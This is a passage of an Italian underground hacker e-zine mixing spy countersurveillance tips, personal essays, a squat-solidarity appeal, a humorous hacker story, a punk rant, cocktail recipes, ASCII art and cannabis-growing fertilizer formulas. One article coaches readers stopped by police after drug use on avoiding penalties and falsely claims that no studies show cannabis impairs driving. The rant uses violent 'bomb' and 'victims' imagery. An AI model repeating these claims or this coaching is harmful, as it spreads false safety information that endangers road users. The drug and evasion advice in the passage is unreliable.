fosse ostacolato dalla sorveglianza. Se non riusciamo ad incontrarci nel primo luogo, useremo il piano di riserva e ci incontreremo allo stesso posto e alla stessa ora una settimana più tardi. Se invece riusciamo ad incontrarci, ci riferiremo al convenuto piano e ci incontreremo in un diverso posto all'ora e alla data stabiliti. Nè io nè tu scriveremo i particolari del nostro prossimo incontro. Terremo i dettagli a mente. BACKGROUND 1 - Se hai documenti da darmi, io non li accetterò fino alla conclusione del nostro incontro . Starò già per fuggire quando acetterò i documenti. Questo riduce le possibilità di essere scoperti e arrestati dal gruppo di sorveglianza che è stato addestrato a eludere il nostro protocollo di controsorveglianza. Se il servizio di sicurezza agisce troppo alla svelta non avranno prove contro di me, perchè i documenti non mi sono ancora stati passati. BACKGROUND 2 - I migliori agenti non mescolano mai discussione e documenti. Se un documento dev'essere passato, non servono discussioni. L'intero contatto si riduce ad un momento - "the perfect brushpass". Il principio è semplice. E' avventato temporeggiare tenendo documenti incriminanti. Le spie in Nord America chiamano questo protocollo in sette passi per la controsorveglianza "drycleaning". In Europa, viene chiamato "parcours de sécurité" - una frase francese che può essere tradotta come percorso di sicurezza o circuito di sicurezza. ---Harry Caul--- ########################### #+-----------------------+# #| lEt'S tHiNk Ab0uT iT! |# #+-----------------------+# ########################### -=!!!|-UnA brEvIsSimA rIfLesSi0Ne-|!!!=- Autore: Kaspita Sono alcuni mesi ormai che medito di scrivere questo articolo forse ero in attesa dell'illuminazione dal cielo Chissa'!!! Tutto e' iniziato all'incirca un anno fa, prima ero all'oscuro dell'esistenza di questo mondo. Un giorno uno di quei giorni in cui puoi scegliere di appollaiarti sopra la TV assorbendo passivamente quello che trasmette o riempire le "misere" tasche di mamma Telekozza!!! Tra le due alternative… perché non scegliere la peggiore? Collegamento ad internet! e chi becco? Un maestro!!! (emm.. non vuole essere chiamato cosi' ma ormai l'ho fatto! ;-) Mi chiede: "Hai mai sentito parlare di sicurezza informatica e di hacking?" Risp:"E' commestibile? E' buono? Gnam! Gnam!" e da qui ha inizio una riflessione personale. (I non interessati possono passare all'articolo successivo, prima che vi annoiate piu' di quanto gia' lo siate dopo aver letto queste poche righe… non andate a lamentarvi dal Capo altrimenti sono kavoletti amari.. pour moi !!! eheheh..) Se qualcuno avesse voglia di perdere altri 2 minuti (non di piu'!) del proprio prezioso tempo puo' farlo a suo rischio e pericolo naturalmente !!! Tante giornate trascorse a rigirarmi i pollicioni potevano essere impiegate in maniera piu' proficua ma ci si accorge soltanto dopo! Mesi e mesi (in realtà non sono cosi' tanti) trascorsi su file di varia natura per cercare di recuperare il tempo perso. Nottate passate tentando di raccogliere i primi frutti: raccolto tutto sommato molto misero!!! E dopo tutto questo tempo un giorno il Maestro mi chiede: "un articoletto quando lo scrivi?" Eeeeeeeh… agli ufo ci posso anche credere! ma non sono di certo all'altezza di dare insegnamenti ad altri! Mi considero solo UNA principiante!!! Come, come, come? Vi sta sorgendo qualche dubbio? Forse un miraggio? Ebbene si, una donzella che scrive !!! Capisco perche' sgranate gli occhi, siamo talmente rare in questo campo, Eccezion fatta per la mitica Elsa288 (continua cosi' che sei forte!) non ho ancora avuto il piacere di trovarne altre! Lungi da me ora iniziare tutto un discorso femminista, anche se lo state gia' pensando! Un po' perche' sarebbe fuori luogo, un po' perche' non e' proprio mia intenzione farvi annoiare piu' di quanto gia lo siate. Mi chiedo soltanto: perche' ci sono piu' (o SOLO) maschietti che dedicano il loro operato in questo settore? Non che il fatto mi dispiaccia, ANZI !!!!! eheheh… Ecco un esempio: basta leggere il nick degli autori presenti in questi articoli, basta leggere qualsiasi Tutorial, di chi sono? di un maschietto e chi piu' ne ha piu' ne metta! Nulla da ridire su tutto cio', sono soltanto "delusa" dallo scarso impegno da parte femminile, dalla scarsa collaborazione! Non voglio passare per una rivoluzionaria, sono solo convinta che piu' menti lavorano su un determinato progetto, prima si giungera' allo scopo prefissato! Questo articolo e' puramente riflessivo, magari a qualche donzella in ascolto si accenderà la lampadina, come e' avvenuto per la sottoscritta! Se nel primo articolo (il n. 0) della E-zine c'era solo una collaboratrice, nel terzo (il n. 2) ce n'e' una in piu', nei successivi ce ne saranno decine! opss.. mi sono lasciata trasportare dall'entusiasmo! Meglio non fantasticare troppo! La mia breve riflessione si conclude qui (finalmente !!!!) :-x e come ogni articolo che si rispetti non posso trascurare i ringraziamenti finali. Se oggi ho la possibilita' di comparire in questa rivista lo devo all'insegnante che ho avuto, sono mesi che mi sta sopportando -una pazienza immane- gli ho stressato la vita parecchie volte! E' riuscito a "estrapolarmi" dall'ignoranza della massa, ad "inizializzarmi" un pochino, ha avuto il coraggio di esporsi, ha dimostrando una grande fiducia nei miei confronti, nei confronti di una femminuccia!!! GRAZIE JACK !!! Un ringraziamento particolare a "er Capoccia" per lo spazio concessomi in questa rivista: THANKS !!! Un salutone a tutti! ---KaSpiTa--- @-->-->-- -=!!!|-dEaD bUlK wAlKiNg-|!!!=- Autore: 0lDir0N61 In questo articolo vorrei esprimere, e con me tutto l'Anarchy in The System squad, solidarieta' nei confronti del "L.S.O.A Deposito Bulk". Quando leggerete questa e-zine puo' essere che il problema si sia gia'risolto, in maniera positiva o negativa....ma le cose fino ad ora stanno cosi': Il , okkupato dai RASC (Rete Autogestita Studenti & Collettivi) e che in se' racchiude molti progetti e realta' (RASC;Internet_Cafe';2 sale da bar;sale da concerto; infoshop;librerie;camere oscure;sale prove;Contro-informazione sulle droghe; lotta al probizionismo;laboratori artistici e di teatro;Danza;attivita' con i bambini del quartiere "Azimut";Associazione culturale "Interzona525"; Aule Studio;Gruppo di sperimentazione informatica;oltre al fatto che e' stato sede dell'Hack-it '99) che hanno risvegliato gli animi in quella zona triste e lugubre, con una curva, quella curva che rischia di mandare a PUTTANE tutto il lavoro del bulk! Infatti il Bulk (Che il 12 dicembre ha compiuto il suo secondo anno di vita) rischia di essere sgomberato, vogliono costruire un ponte sopra di loro, per una strada da ricostruire e rendere -!!!- s0ciAlMenTe uTilE-!!!- per il comune di Milano, comune che ,tramite manovre di "pulizia ambientale" hanno fatto spostare il Leonkavallo, hanno chiuso Parco Vetra, hanno trasformato parco Sempione in un posto dove la gente DEVE aver paura di andare Lo Sgombero del Bulk sarebbe un altro punto a favore dei -!!!- BUFFONI -!!!- che "governano" Milano! Mi riferisco ad Albertini e Verro, assessore al demanio della giunta milanese.... Costoro hanno messo la loro BELLA ed IMPORTANTE firma su questa ordinanza, che sancisce il passaggio di un ponte sopra quello che ora e' il deposito Bulk, sopra a quello che da due anni e' uno dei pochi capisaldi della cultura "Alternativa".... Noi non possiamo assolutamente permettere che tutto cio' succeda, Milano perderebbe un altro punto di riferimento, dando la citta' in mano a SBIRRI che non sanno fare altro che Picchiare e Blokkare l'esistenza a dei ragazzi che vogliono semplicemente trovare un proprio spazio libero, dove ci si puo' comportare liberamente senza nessuno che ti skazza perche' stai fumando uno spino, senza dare fastidio a nessuno! Tutto questo non si avverera' solo se ci sara' solidarieta' verso questo spazio sociale, solo se anche VOI aiuterete a far continuare a vivere il Deposito Bulk... Quindi aiutateci!,sosteniamo le nostre conquiste nella citta', sosteniamo il "DeP0sit0 BulK" !!!!! =[ uPdAte ]= Come non detto... LSOA "Deposito Bulk" sgomberato dallo stabile di via Sturzo. ...Ma bolle qualcosa di nuovo in pentola... --------------------[ Recuperato da sito del Bulk ]--------------------------- <> ...Uno stabile dismesso di proprieta' dell'Enel occupato durante il cambio di millennio. OTTOMILA mq che riempiremo in breve di progetti e attivita', con un po' di rabbia e disillusione in piu', ma piu' determinati a ottenere risultati concreti, non sgomberabili dall'ignoranza istituzionale. *[ SAREMO SEMPRE NELLA CITTA', PIU' NUMEROSI DI PRIMA. ]* =============================] 31-12-1999 [=================================== Il Laboratorio Studentesco Occupato & Autogestito "Deposito Bulk" si trova ora in Via Niccolini 36 Tel. 0333-2074198 - 0339-2744441 - 0339-6593332 Web. http://www.ecn.org/bulk @ bulk@ecn.org ---0lDir0N61--- -=!!!|-k0sA n0n fA uN vEr0 hAcKeR-|!!!=- Autore: BlueBoy Il sabato sera e` un classico per gli hackers. Ti puoi rendere conto che la serata butta male dal tono di voce con cui la tua donna ti invita a seguirla al party dell'amica: piu` e` mielosa, meno chances ci sono di divertirsi; e siccome il sabato sera non ti puoi inventare la scusa-tipo "..devo studiare" (scusa che solitamente adotti per poter trascorrere qualche ora in piu` davanti al monitor), eccoti bello e fregato costretto a "divertirti" e a "essere piu` sociale". Ogni volta la speranza e` la stessa: la donna si ammala o non puo` uscire, e tu prepari birrozza fantozziana, panini e mars per una sessione di almeno 6 ore su Itapac; la realta` invece e` che la tua donna sta benissimo, e ti sta guidando senza pieta` verso la festa. La casa e` piena di gente che non hai mai visto, e dopo appena 2 minuti cerchi se per caso da qualche parte (non si sa mai) hanno installato un terminale da poterci smanettare. Il classico amico che non vedi da un anno ti presenta alle donne come "quello del computer di cui vi parlavo.." ; le donne non gradiscono per niente, pero` l'uomo di una ti si avvicina e ne approfitta per estorcerti informazioni preziose sulla programmazione in BASIC del C64. Tu, che il C64 lo odi e che da poco cominci a credere di conoscere sul serio Unix, lo guardi male e pensi : bifolco. Lui insiste, divaga sul "drive" del suo giocattolo, tu annuisci e pensi "controlpi cielle-erre". La biondina che e` arrivata sola ti si avvicina mentre -pensieroso- stai ripensando alla c-shell di uno strano Ultrix che hai hackato. Lei probabilmente pensa tu abbia dei problemi (vero, i metacaratteri della c-shell creano sempre problemi..) e ti rivolge un promettente "Ciao" tutto da interpretare (o compilare,a seconda di come ti senti). "ACP: COM", pensi dentro di te, e ricambi sorridendo il saluto; gia` ti stai facendo strane idee, quando alle tue spalle noti la sagoma inconfon- dibile della tua donna. "ACP: RESET RPE" le vorresti dire, ma la situa- zione e` fin troppo chiara: la portante e` gia` caduta. La festa e` fiacca, si formano i gruppetti mentre tu pensi che in questo momento probabilmente c'e` Pengo ad Altos che chiacchera con Blau. Un tizio e` tempestato di domande, scopri che fa deltapano; li guardi mentre lo invidiano, loro non sanno che tu -proprio ieri- sei entrato nel VAX della DynaComp, e hai fatto partire l'UAF... Dove si va in vacanza questa estate? Confusione spaventosa con proposte geograficamente azzardatissime (Kilimangiaro??); tu le idee in proposito le hai ben chiare: prima tappa a Monaco per visitare Altos, seconda tappa Essex (i terminali di Mud si devono vedere almeno una volta nella vita..), terza e ultima tappa Parigi, dove c'e` un Univac 1100 che ti fa impazzire.. Hey, c'e` uno che fa informatica.. bene bene, cerchi subito - come prima cosa - di sapere nome e codice di addebito della sua password sui termi- nale di facolta`. Si specializza in telecomunicazioni..mhm.. "..sai che cos'e` un dialout?" . No, il tipo non conosce i dialout. "Ignorante" concludi. Grosso vociferare di maschi: e` arrivata una sbarba scosciatissima. Per due ore con quella - tu pensi - saresti disposto a dare via la NUI a 1200 baud.. Intanto arriva la torta; mentre azzanni una fetta, concludi che la prima cosa da fare una volta a casa e` controllare se per caso hanno riaperto quella Gateway in Belgio.. la donna ti guarda malissimo: in tutta la serata ti sei fatto i fatti tuoi alla grande; per farti perdonare balli un lento. Lei ti stringe, tu tentenni. Ripensando a Telenet, quella NUA che hai trovato non puo` essere un X25, al massimo e` un vax-cluster.. Finalmente finisce, se Dio vuole. Saluti e baci, ciao e grazie, di corsa a casa. La donna non molla: i parents sono out. Ahia.. Un problema.. cosa gli puoi raccontare? La balla del sonno non sta in piedi, si vede benissimo che sei talmente in forma che potresti sollevare un pad ... Le chiavi, hai dimenticato le chiavi e quindi prima torni meglio e` dato che devi svegliare i tuoi. Lamaddonna che tardi (in chat ci saranno solo gli australiani), ciao e buonanotte. Il percorso casa-casa-modem lo copri in tre minuti, corsa in ascensore, accensione monitor, hard disk e computer, modem, itapac.. ACP:CLR NC . Come NC?? Tutto NC, anche il Cilea. Un lungo, pietoso lamento disturba il sonno dei vicini. Pensi che -dopo tutto- la vita e` una continua commutazione dei tuoi pacchetti, entri nel letto maledicendo Itapac, spegni la luce. Ti addormenti sperando, almeno, di sognare a 9600 baud.. Buona notte, hacker! ---BlueBoy--- -=!!!|-Lettere di una giovane Punk ribelle-|!!!=- Autrice: FuCk "Questo paese di merda sta opprimendo le mie idee, non si puo' fare niente, tutti hanno la mente offuscata dalle stronzate che vongono dette da quella gente che pensa solo a creare ragazzi uguali allo sterotipo che hanno in quel fottutissimo cervello. Tutti sono li' pronti a leccare il culo per ottenere qualche stupido riconoscimento o merito, mentre gli altri sgobbano al posto loro. Per una come me, che invece non sopporta questo plagio, e' dura sopravvivere. Tutti sono li' pronti a guardare come e cosa faccio per giudicarmi e valutarmi, anche se loro non sanno che a me non me ne frega un cazzo. Quando li incontro sento le loro voci che dicono solo cattiverie, ma questo non mi crea problemi, perche' non sono il tipo che concentra la sua esistenza su cio' che potrebbero dire gli altri di me. Poi loro mi fanno solo pena perché sono dei comunissimi paolotti che la domenica vanno all'oratorio a prendersi cura di un marmocchio che rompe i coglioni. Ma mettetevi a posto! Io non ci sto, non voglio affondare come loro in un mucchio di ideali sputtanati. Loro pensano a quando cresceranno, avranno forse molti soldi e probabilmente anche una famiglia. Stronzate, io non ci tengo a vivere un'esistenza cosi' triste. Alcune persone quando passo, mi guardano come se fossi il pericolo no.1 (probabile) e poi continuano a dire che e' un peccato per una ragazza cosi' carina essere diventata cosi'. La loro compassione se la possono tenere per quei poveri cristi che muoiono di fame mentre loro stanno buttando nel cesso cio' che avevano mangiato, per paura di ingrassare. Qui io mi sento una bomba che sta per scoppiare. La mia miccia sta per finire e quando questo accadra' non so quante vittime faro'. Per adesso ho solo incontrato gente che mi ha voltato le spalle perche' non aveva le palle per ribellarsi. Anche da solaio continuero' a pensarla cosi'. "Nulla di ciò che l'uomo vede esiste veramente. Tutto ciò che ci circonda è solo un'illusione ottica che si è proiettata nella società in cui viviamo. Oggi tutto fa parte di un chiaro disegno creato da chi sta sopra di noi. Siamo tutti dei burattini che dicono e agiscono secondo quello che il burattinaio decide." "Non ce la faccio più a subire in silenzio tutti gli insulti di quei fottutissimi dittatori che ci hanno portato in questa merda di società. Prima o poi scoppierà ed il mio pensiero anarchico distruggerà le fondamenta di questa democrazia corrotta che non fa altro che creare scompiglio nella popolazione che di nascosto,però, si sta preparando alla rivoluzione Nessuno verrà risparmiato perché la colpa è po' di tutti perchè abbiamo permesso a questi pirla di decidere della nostra vita". --FucK--- +--------------+ #|##############| #+-[ aLkoLiKs ]-+ #|## ######## ##| #+--------------+ ################ -=!!!|-aLk0L & c0kTaiLs!-|!!!=- Autore: SiX Dedicato a tutti quelli che hanno problemi con l'alcool Thanks To ...... Tutte le straniere che vengono in villeggiatura dove abito, continuate cosi' ;-) Fucks To ...fanculo alla scuola o squola? ...Fanculo allo spam a alla Telecoma. La parola cocktail apparve per la prima volta negli Stati Uniti, inizialmente i barmen adornavano le bevande per attirare maggiormente l'interesse dei turisti. Questa moda arrivo' negli anni venti anche in Europa e successivamente in tutto il mondo. Il cocktail non e' altro che una miscela di due o piu' prodotti alcolici, aromatizzata e decorata. La famiglia dei cocktail e' divisa in 24 gruppi : Grogs I grogs sono short drink caldi, che vanno consumati nella stagione fredda, a base di acquavite, acqua caldissima, bucce di limone, chiodi di garofano e cannella. e sono per esempio : Rum grog, Grappa grog; Brandy grog, ecc. Slings Gli slings sono un'altra varieta' dei grogs. Si preparano caldi e si servono in bicchieri. La forma principale: l'acquavite e la noce moscata. Questi cocktail assumono il nome dell'acquavite impiegata, completato da hot se caldo, da cold se freddo: Gin sling, Whisky sling, ecc. Richeys E' uno dei cocktail piu' richiesto dagli americani, e' uno short drink dove il lime (piccolo frutto molto simile al limone) e' di rigore. Il lime va tagliato a fettine, messo in un bicchiere ed annegato con l'acquavite desiderata, da cui il cocktail assume il nome: Rum richey, Scotch richey, Gin richey, ecc. Coolers I coolers sono long drink refrigeranti, con birra, acquavite, liquori, sciroppi di frutta, vino e bucce di limone. Di solito hanno nomi di fantasia: Manhattan cooler, Indian cooler, ecc. Collins I collins sono long drinks. Sono esclusivamente a base di acquavite, succo di limone, ghiaccio in cubetti e soda . Lo spirito di base da' il nome a questo cocktail: Vodka collins, Gin collins, Brandy collins, ecc. Crustas I crustas sono short drinks , energetici, a base di acquavite, succo di limone zucchero e frutta. Vengono preparati nello shaker. Il bicchiere deve essere imbottito all'interno con buccia di limone tagliata in unica spirale sulla quale si versa il contenuto dello shaker. I crustas assumono di solito il nome dell'acquavite impiegata: Whisky crusta, Brandy crusta, Gin crusta, ecc. High-balls Gli high-balls sono dei long drink estivi. I componenti che possono essere impiegate sono molte: acquaviti, alle quali vanno aggiunti , soda, acqua minerale , cubetti di ghiaccio, una buccia di limone e Coca e non Cola ;-) Questi cocktail assumono i nomi della qualità o della marca dell'acquavite impiegata: Gin high-ball, Whisky high-ball, Brandy high-ball, ecc. Punches I punches possono essere short drink caldi, o long drink freddi. Hanno come base le acquaviti, i vini e la frutta. Prendono nomi di fantasia o dello spirito predominante: Milk punch, Brandy punch, ecc. Shrubs Il shrub e' una varieta' del grog, a preparazione piuttosto complicata. Ha come base l'estratto chiaro e bollito di frutta macerate in acquavite. I bicchieri devono essere colmati di acqua bollente e fettine di limone. E' possibile che il shrub venga servito come un punch, cioè freddo in bicchieri colmi di ghiaccio. In questo caso non si puo' parlare dell' originale shrub americano. Questi cocktail assumono il nome del frutto o dell'acquavite predominante: Brandy shrub, Whisky shrub, ecc. Daisies I daisies sono short drinks estivi e vengono preparati nello shaker, a base di acquaviti, succo di limone , granatina e soda. Assumono di solito il nome dell'acquavite utilizata: Brandy daisy, Gin daisy, Rum daisy, ecc. Cobblers I cobblers sono long drinks a base di vino ed acquaviti. I bicchieri devono contenere ghiaccio tritato, e decorati di fragole, ciliegie, fettine di limone o di arancia. Essi assumono di solito il nome dell' acquavite o del vino impiegato: Brandy cobbler, Whisky cobbler, ecc. Cups I cups sono long drinks freddi che si preparano in caraffa e che possono essere consumati anche durante la colazione o il pranzo. Sono a base di vino, liquori, zucchero, aromi, acqua minerale, frutta fresca di stagione. Assumono nomi di fantasia, del vino o del liquore impiegati: Spumante cup, Ginger ale cup, ecc. Smashes Gli smashes sono antichi long drinks americani abbondantemente aromatizzati con succo di menta fresca. Questi hanno come base soltanto i liquori e le acquaviti. Assumono in prevalenza il nome del liquore o dell'acquavite impiegati: Brandy smash, Whisky smash, ecc. Sours I sours sono short drinks dove l' elemento principale e' il succo di limone. La loro base principale, oltre al di succo di limone, sono le acquaviti. Assumono nomi di fantasia o dello spirito predominante: Rum sour, Brandy sour, Gin sour, ecc. Sangarees I sangarees possono essere short drinks o long drinks secondo la loro composizione. Vengono impiegati oltre ai liquori anche i vini e la birra. Assumono nomi d fantasia o della bevanda alcolica predominante: Brandy sangaree, Rum sangaree, Whisky sangaree, ecc. Fixes I fixes sono long drinks preparati nello shaker con succhi di frutta, sciroppi, acquaviti e soda. Assumono il nome dello spirito impiegato: randy fix, Gin fix, ecc. Juleps I juleps sono long drinks rinfrescanti, con estratto di menta fresca, vino, spumante, acquavite, liquori e sciroppi. L'estratto di menta fresca si puo' ottenere pestando in un mortaio qualche foglia di menta con un po' d'acqua ed un po' di zucchero. L'estratto, prima di metterlo nel bicchiere, va passato in un colino. I juleps assumono nomi del vino o allo spirito impiegati: Brandy julep, Whisky julep, ecc. Mulls I mulls sono dei long drinks a base di vino bollente aromatizzato, viene preparato in una casseruola e che perde una parte del suo alcool perche' s'infiamma durante la bollitura. Quando vengono preparati i mulls s'impiegano, spesso delle uova, che vengono sbattute a parte in una scodella e poi viene versato il vino bollente aromatizzato con chiodi di garofano, fettine di limone, un bastoncino di cannella, e ben zuccherato. I mulls hanno il nome del vino impiegato: Claret muslin, Mulled port, Sherry muslin, ecc. Egg-nogs Gli egg-nogs sono long drink sia estivi che invernali. Se non lo avete capito queste bevande sono a base di uova. Vengono preparati nello shaker aggiungendo latte, acquavite, cannella, noce moscata o paprica. La differenza fra gli egg-nogs caldi e quelli freddi, sta nel fatto che in quelli caldi si deve miscelare nello shaker prima di aggiungere il latte, mentre in quelli freddi la miscelazione nello shaker va fatta assieme al latte, per non cuocere l'uovo. Hanno nomi di fantasia o dell'acquavite impiegata: French egg-nog; Sherry egg-nog; Hot egg-nog, ecc. Fizzes I fizzes sono long drinks preparati nello shaker, a base di succo di limone, bianco d'uovo, acquavite, zucchero e soda. Quando fate questo cocktail bisogna che lo shaker sia agitato molto forte, il bicchiere sia pieno di soda o di seltz e mescolato ripetutamente. Assumono nomi di fantasia o dell'acquavite impiegata: Gin fizz, Whisky fizz, ecc. Flips I flips sono short drinks freddi o caldi, a base di uova, zucchero, vino, liquori, acquavite, noce moscata, succhi di frutta. I flips se caldo si dovra' fare attenzione a travasare diverse volte la bevanda per far aumentare la spuma. Prendono il nome dell'acquavite o del liquore ma sono anche di fantasia Brandy flip, Whisky flip, Lemon flip, ecc. Pousse-cafe' Il pousse-cafe' e' uno short drink. Gli ingredienti principali del puosse-cafe' sono le acquaviti e i liquori dolci, che devono essere versati molto lentamente in un bicchiere inclinato in maniera che i due spiriti rimangano separati l'uno dall'altro. Per avere questa divisione e' opportuno versare gli spiriti tenendo conto del loro peso specifico: prima i piu' pesanti (liquori dolci) e via via i piu' leggeri (acquaviti). Si puo' variare come volete il colore degli spiriti impiegati, in modo che prima di gradire il gusto si puo' deliziare l'occhio. Il pousse-cafe', assume nomi di fantasia o dell'acquavite impiegata in maggior misura: Brandy scaffe', American pousse-cafe', ecc. Pousse-l'amour Il pousse-l'amour e' un short drink ma che il tuorlo d'uovo e' d' obbligo. I componenti devo essere separati anche in questo cocktail, compreso il tuorlo d'uovo. Gli altri componenti sono gli stessi del pousse-cafe'. Prende nomi di fantasia: Parfait amour, Thunder, ecc. Toddies I toddies sono bevande medio-lunghe. Possono essere servite sia fredde che calde. Assumono il nome dello spirito impiegato con l'aggiunta di hot se e' caldo, o cold se e' freddo: Brandy toddy, Whisky toddy cold, Gin toddy hot, ecc. Il piu' famoso cocktail secondo me e' il Martini che, secondo una ricetta originale, comprendeva anche l'aggiunta di una goccia di maraschino. Secondo voi quanti sono oggi i cocktails? Mille, forse duemila, forse di piu'. Alcuni pero' per il loro sapore sono considerati classici: Alexander, Americano, Bacardi, Bishop, Black Russian, Black Velvet, Bloody Mary, Bronx, Bucks Fizz, Champagne Cocktail, Daiquiri, Dry Martini, Gibson, Gimlet, Gin Fizz, Gin Sling, Gordon Cadillac, Grasshopper, Grog, Harvey, Lidia, Irish Coffee, Jack Rose, John Collins, Manhattan, Margarita, Negroni, Old Fashioned, Paradise, Pimms no. 1 Cup, Piña Colada, Pink Gin, Port Flip, Red Lion, Rhum Collins, Rob Roy, Rose, Rusty Nail, Sangria, Scorpion, Screwdriver, Side Car, Silver Fizz, Singapore Sling, Snowball, Snow Flake, Stinger, Suissesse, Tequila Sunrise, White Lady, White Satin, Za-Za, Zombie, Zoom..... Ecco alcune 'Formule' di cocktail : Negroni Cosa serve : - 1 Fetta di limone - 1/2 Vermut Rosso - 1/2 Dry Gin Mescolare bene Servire con una fettina sottile di limone inserita sull'orlo del bicchiere. Il Negroni e' uno dei cocktail piu' noti del mondo. Martini Dry Cosa serve : - 1/4 Vermut Dry - 3/4 Dry Gin - 1 Fetta di limone Nel mixing-glass con un po' di ghiaccio in polvere. Mescolare con forza. Nel bicchiere ci vuole uno spruzzo di limone. Crocker - 4/5 Dry Gin - 1/5 Vermut secco Nello shaker con abbondante ghiaccio in polvere Agitare bene. Bronx - 2/3 Dry Gin - 1/6 Vermut Dry - 1/6 Vermut Rosso - 1/6 Succo d'arancia Nello shaker con un po' di ghiaccio in polvere Agitare bene e servirlo con una fettina di arancia. Caruso - 1/3 Dry Gin - 1/3 Vermut Dry - 1/3 Menta verde liquore Nello shaker con ghiaccio in polvere Agitare bene. Irish Coffee - 2 cucchiaini Zucchero - 1 Caffè espresso molto caldo - 1 bicchierino Irish Whiskey - Crema Fresca Nel bicchiere leggermente caldo mescolare bene. Aggiungere un bicchierino di Irish Whiskey e quindi la crema fresca lentamente perche' rimanga intatta in superficie. Penso di aver finito, non pensate male di me )non( bevo molto. Spero di esservi stato utile. Ciao a tutti. ---SiX--- ###################################################### #+-----------++-----------++-----------++-----------+# #| AsCiI-ArT || AsCiI-ArT || AsCiI-ArT || AsCiI-ArT |# #+-----------++-----------++-----------++-----------+# ###################################################### -=!!!|-ASCII made in aIs-|!!!=- Autori: cYb0rG-jAcKal- MaDe iN jAcKal... ______ __ /\ _ \ /\ \ __ \ \ \L\ \ ___ __ _ __ ___\ \ \___ __ __ /\_\ ___ \ \ __ \ /' _ `\ /'__`\ /\`'__\/'___\ \ _ `\/\ \/\ \ \/\ \ /' _ `\ \ \ \/\ \/\ \/\ \/\ \L\.\_\ \ \//\ \__/\ \ \ \ \ \ \_\ \ \ \ \/\ \/\ \ \ \_\ \_\ \_\ \_\ \__/.\_\\ \_\\ \____\\ \_\ \_\/`____ \ \ \_\ \_\ \_\ \/_/\/_/\/_/\/_/\/__/\/_/ \/_/ \/____/ \/_/\/_/`/___/> \ \/_/\/_/\/_/ /\___/ \/__/ __ __ __ /\ \__/\ \ /\ \__ \ \ ,_\ \ \___ __ ____ __ __ ____\ \ ,_\ __ ___ ___ \ \ \/\ \ _ `\ /'__`\ /',__\/\ \/\ \ /',__\\ \ \/ /'__`\/' __` __`\ \ \ \_\ \ \ \ \/\ __/ /\__, `\ \ \_\ \/\__, `\\ \ \_/\ __//\ \/\ \/\ \ \ \__\\ \_\ \_\ \____\ \/\____/\/`____ \/\____/ \ \__\ \____\ \_\ \_\ \_\ \/__/ \/_/\/_/\/____/ \/___/ `/___/> \/___/ \/__/\/____/\/_/\/_/\/_/ /\___/ \/__/ MaDe iN cYb0rG... _____ .__ _________ _ _ ________ / _ \ |__| / _____/__| || |__\_____ \ / /_\ \ | | \_____ \ \ __ / / ____/ / | \| | / \ | || | / \ \____|__ /|__|/_______ //_ ~~ _\\_______ \ \/ \/ |_||_| \/ #################################################### ####### N N AAA RRRR CCCC OOO SSSS ####### ####### NN N A A R R C O O S ####### ####### N N N AAAAA RRRR C O O SSSS ####### ####### N NN A A R R C O O S S ####### ####### N N A A R RR CCCC OOO SSSS ####### #################################################### -=!!!|-c0nSiGli pEr iL bu0n FumAt0Re-|!!!=- Ovvero: Guida sotto effetto di sostanze stupefacenti: Cosa bisogna fare se vieni fermato dagli SBIRRI... Autore: 0lDir0n61 -Consegnare la patente solo se ci si trova alla guida di un veicolo che la richiede. Se si e' su un motorino, basta consegnare la Carta d'Identita'. Cio' non toglie che, qualora si dovesse risultare positivo all'esame delle urine, il Prefetto possa disporre comunque la sospensione della patente stessa. -Se gli sbirri ti vorranno accompagnare all'ospedale per sottoporti alle analisi, non andare MAI con la tua macchina perche' c'e' il rischio che, se risultassi positivo, chiamano l'ACI per farla rimuovere (œ 150.000) visto che tu, per legge, non potresti piu' guidarla. -Ricorda che l'esame delle urine e' obbligatorio solo per chi guida, e non per gli eventuali passeggeri del veicolo, che comunque possono essere segnalati al perfetto che potra' disporre, in caso di possesso da parte del passeggero, la revisione della patente... -Quando sei in ospedale sarai costretto a sottoporti all'esame delle urine. Tale esame non ha valore giuridico, ma accerta solo che tu hai fatto uso di sostanze stupefacenti, senza pero' stabilire quando. E' tuo diritto, per accertare il tuo stato di non alterazione psicofisica e/o sensoriale, richiedere i seguenti esami: 1)Esame neurologico (Per stimare i tempi di reazione) 2)Esame audiometrico e del campo visivo (Per accertare che non vi siano eventuali alterazioni) 3)Visita psichiatrica (Per accertare che non si e' alterati) -!!!-ATENZIONE-!!!- Ricorda che gli esami da te richiesti possono costituire prove a TUO favore quando deciderai di fare ricorso... -Non esistono studi specifici che dimostrino una reale diminuizione dell'attitudine alla guida da parte di soggetti sotto l'effetto di cannabis e derivati. La metodologia dell'esame non e' in grado di accertare l'effettivo contingente stato di alterazione psicofica-sensoriale del soggetto. L'esame stabilisce esclusivamente se si e' fatto l'uso di cannabis e derivati nell'arco di 20/30 giorni. La presenza dei metaboli del THC9 e' rivelabile da circa 4 ore dopo l'assunzione, fino a 30 giorni circa di distanza. Il considerevole costo di questi esami, per la revisione della patente, ---->(Lit. 1.500.000 circa)<---- e' addebitato agli stessi "indagati" anche nel caso abbiano esito NEGATIVO. In conclusione? Prendete gli autobus, i tram o la metro, e starete sicuramente molto piu' tranquilli!!! ;-) ---0lDir0n61--- -=!!!|-C0NciMazI0nE dEllE pIanTe-|!!!=- Autore: 0lDir0n61 Dopo aver spiegato (nei 2 numeri precedenti dell'e-zine) come coltivare le nostre amate piantine, e' tempo di pensare alla concimazione, per la maggior parte delle volte, chimica. *Quali concimi chimici??* Voi penserete: in realta' questa concimazione e' "chimica" perche' si basa su un equilibrio di sali minerali, sciolti in acqua..... Sono del tutto ATOSSIKE e possono solo far del bene alle nostre piantine! =) --->ATTENZIONE<--- Un uso regolare di queste soluzioni dara' migliori risultati di un uso discontinuo. --->/ATTENZIONE<--- Qui di seguito le 4 formule di sali (Parti espresse in grammi per 21 Litri di Acqua) 21 Litri di queste soluzioni bastano per l'intera crescita di 1 pianta (Un Litro a Settimana) +-------------------------------------------+ +-->Formula1:.:a base di Azoto (N)<---------+ +---------------------+---------------------+ | KNO3 | 3 | | NH4NO3 | 51 | | Ca(NO3)2 | 12 | | KH2PO4 | 3 | | MgSO4 | 6 | +---------------------+---------------------+ +-->Formula2:.:a base di Calcio (Ca)<-------+ +---------------------+---------------------+ | Ca(NO3)2 | 45 | | KH2PO4 | 3 | | CaCl2 | 33 | | MgSO4 | 3 | | KNO3 | 3 | +---------------------+---------------------+ +-->Formula3:.:a base di magnesio (Mg)<-----+ +---------------------+---------------------+ | KNO3 | 3 | | KH2PO4 | 3 | | Ca(NO3)2 | 12 | | MgCl2 | 9 | | MgSO4 | 12 | +---------------------+---------------------+ +-->Formula4:.:a base di potassio 